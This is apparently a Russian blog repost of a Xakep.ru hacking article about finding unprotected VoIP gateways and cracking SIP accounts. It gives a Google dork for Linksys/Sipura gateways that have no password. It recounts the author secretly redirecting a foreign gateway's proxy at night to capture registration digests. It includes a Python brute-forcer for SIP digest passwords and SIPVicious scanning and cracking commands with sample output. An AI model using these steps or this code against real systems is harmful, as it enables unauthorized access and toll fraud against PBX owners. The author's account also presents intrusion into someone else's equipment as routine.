Рубрики
Asterisk kali \ virus \ rootkit \ вирусы \ защита

asterisk \ SIP \ sip.conf \ безопасность

Источник:

http://www.xakep.ru/post/56194/ - Каждому хакеру – по VoIP: ищем и взламываем VoIP-шлюзы

Вводная информация:

На тему астерисков и подбора паролей к ним написано очень много статей. 
Люди в теме наверняка слышали про набор утилит sipvicious, а многие их даже уже попробовали. 
Однако, когда ты сканируешь сеть при помощи svmap.py (скрипт входит в вышеупомянутый комплект), то в Сети помимо астерисков находятся различные VoIP-железки, как то: 
Cisco, AddPac, Linksys и так далее. Как правило, у них есть собственный web-интерфейс. И если ты думаешь, что он запаролен, то ты, наверное, прав. Но не всегда :). 
У Linksys по умолчанию нет пароля на web-интерфейсе. 
А зря, ведь многие их железки могут быть доступны извне.
На самом деле, незапароленные шлюзы можно искать и при помощи Google. Если в поисковом запросе ввести intitle: "Sipura SPA Configuration", 
то найдется немало шлюзов Линксис, на которых не выставлен пароль.

SIP-регистрация:

Рассмотрим, как происходит процесс SIP-регистрации. 
Изначально клиент отправляет на Softswitch (например, Asterisk) запрос "REGISTER", в котором нет пароля, а есть только contact. 
В ответ приходит сообщение "401 Unauthorized", в котором указано, что нужно пройти "Digest access authentication". 
В присланном сообщении сгенерированы nonce и realm. 
Используя nonce и realm (полученные от сервера), пароль и username (прописанные на шлюзе), а также digesturi, 
шлюз генерит md5-хэш — response — и отправляет все это обратно на Softswitch, который проверяет присланные данные. 
Если они верные, то возвращает 200 ОК, если нет — снова 401. 
Получается, если достать дамп регистрации, то у тебя окажутся все данные, кроме пароля, а его можно будет подобрать. 
Для этого устанавливаем астериск, заводим в нем единственный peer, вбиваем username, как на шлюзе, и прописываем любой пароль. 
Затем применяем настройки.

Простейший пир из /etc/sip.conf:

[peru]
type=friend
username=*username со шлюза*
secret=helloworld
host=dynamic
disallow=all
allow=alaw
allow=ulaw


Далее я запускаю на астериске команду tshark с фильтром по порту 5060 и записью дампа в файл: tshark port 5060 -w /tmp/001.pcap. 
Затем, зайдя на шлюз, меняю значение Proxy на IP-адрес астериска и жму "Submit all Changes". 
Когда у меня на часах 10 утра, то в Перу 2 ночи, так что работать со шлюзом очень удобно — можно не опасаться, 
что перезагрузка шлюза привлечет чье-то внимание. 
После того как шлюз ребутнулся, в tshark'e ловятся четыре пакета, что означает получение всех необходимых данных. 
Затем я возвращаю прежнее значение Proxy и снова применяю настройки.

Подбор пароля

Далее я открываю дамп (например, при помощи Wireshark). 
Там нахожу пакет REGISTER с response — теперь все данные есть, и дело за малым — написать скрипт для подбора пароля. 
Кстати, можно ловить данные и в консоли астериска, для этого набираем в CLI "sip set debug on" и смотрим содержимое пакетов. 
Ввиду того, что скрипт, при помощи которого был найден шлюз, писался на питоне, я решил не отступать от традиции и написал очередной сценарий также на питоне. 
В нем мне нужно перебирать весь алфавит. 
Для этого я использовал готовый класс — он решает проблему с генерацией всех возможных вариантов пароля 
и позволяет задать алфавит для перебора (то есть искать только среди цифр, строчных букв и любых их сочетаний). 
А также задать длину пароля, начальное и конечное его значения.


Запрос на регистрацию в Wireshark
#!/usr/bin/python
import md5 # подключаем библиотеку, которая будет генерить md5-хэш
# дальше идет класс для подбора пароля
EN = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
# перечисление алфавитов
en = "abcdefghijklmnopqrstuvwxyz"
digits = "1234567890"
space = " "
p = ",.-!?;:'\"/()"
op = "+-*/:^()><="
all_spec = "'~!@#$%^&*-_=+\\|/?.>,>'\";:[]{}"
class ABCIterator:
# ... здесь следует класс, спертый из интернета :)
# ...
# класс закончился, переходим к вводу данных
u=(raw_input('username >> '));
b=(raw_input('realm >> '));
m=(raw_input('method >> '));

d = (raw_input('digestURI >> '));
r = (raw_input('response >> '));
n = (raw_input('nonce >> '));
print u,b,m,d,r,n;
ha2= md5.new(m+":"+d).hexdigest();
# генерим часть ha2 — она будет использоваться для хэширования
response=0;
ch=0; # в эту переменную будет сохраняться
# порядковый номер пароля
for i in ABCIterator(start_len=1, stop_len=8, abc=digits+en):
    # указываем, что длина пароля начинается с 1,
    # заканчивается на 8, # и при переборе используются
    # цифры и буквы нижнего регистра
    ch = ch+1;
    if ch % 500000 == 0: print i;
    # это позволяет выводить на экран только каждый 500000-ый
    # вариант пароля
    ha1 = md5.new(u+":"+b+":"+i).hexdigest();
    response = md5.new(ha1+":"+n+":"+ha2).hexdigest(); # хэшируем
    if r == response: # сравниваем хэш с полученным от шлюза
        print "------------------>", i;
        # если они совпадают, выводит пароль и прекращаем поиск
        exit(0);

Как брутят SIP-аккаунты?

Многие атаки на VoIP сводятся к поиску неправильно настроенных PBX (private branch exchange) или, по-русски говоря, офисных АТС. 
Различного рода сканирования, анализ и подбор паролей чаще всего осуществляются с помощью упомянутого в тексте статьи набора скриптов SIPVicious, 
написанных на Python'е и работающих под разными ОС. 
Чтобы лучше понимать материал, вспомним, как осуществляются основные действия на простом примере.

1. Сканирование диапазона подсети (пусть это будет 192.168.1.1/24), чтобы найти BPX.

[you@box sipvicious]$ ./svmap 192.168.1.1/24
| SIP Device         | User Agent           |
---------------------------------------------
| 192.168.1.103:5060 | Asterisk PBX         |

Если верить результатам, то АТС найдена на IP-адресе 192.168.1.103, а работает она на базе Asterisk PBX.

2. Поиск extention'ов (грубо говоря, виртуальных номеров) на найденной АТС. 
Эти аккаунты можно будет использовать для осуществления звонков.

[you@box sipvicious]$ ./svwar.py 192.168.1.103
| Extension | Authentication |
------------------------------
| 123       | reqauth        |
| 100       | reqauth        |
| 101       | noauth         |

Итак, найдено три номера. Мы видим, что номер 101 не требует авторизации. 
А для 100 и 123 необходима авторизация.

3. Подбор пароля, подставляя числовые значения (они используются более чем часто):

[you@box sipvicious]$ ./svcrack.py 192.168.1.103 -u 100
| Extension | Password |
------------------------
| 100       | 100      |

Для extention’а "100" пароль подобран!

4. Подбор пароля с использованием словаря:

[you@box sipvicious]$ ./svcrack.py 192.168.1.103 -u 123 -d dictionary.txt
| Extension | Password |
------------------------
| 123       | secret   |

Есть пароль и для номера 123!

Вот так просто мы нашли АТС, рабочие аккаунты и подобрали для них пароль. 
Злоумышленник может подставить найденные логин-пароль в свой SIP-клиент (например, X-Lite) и осуществить звонки.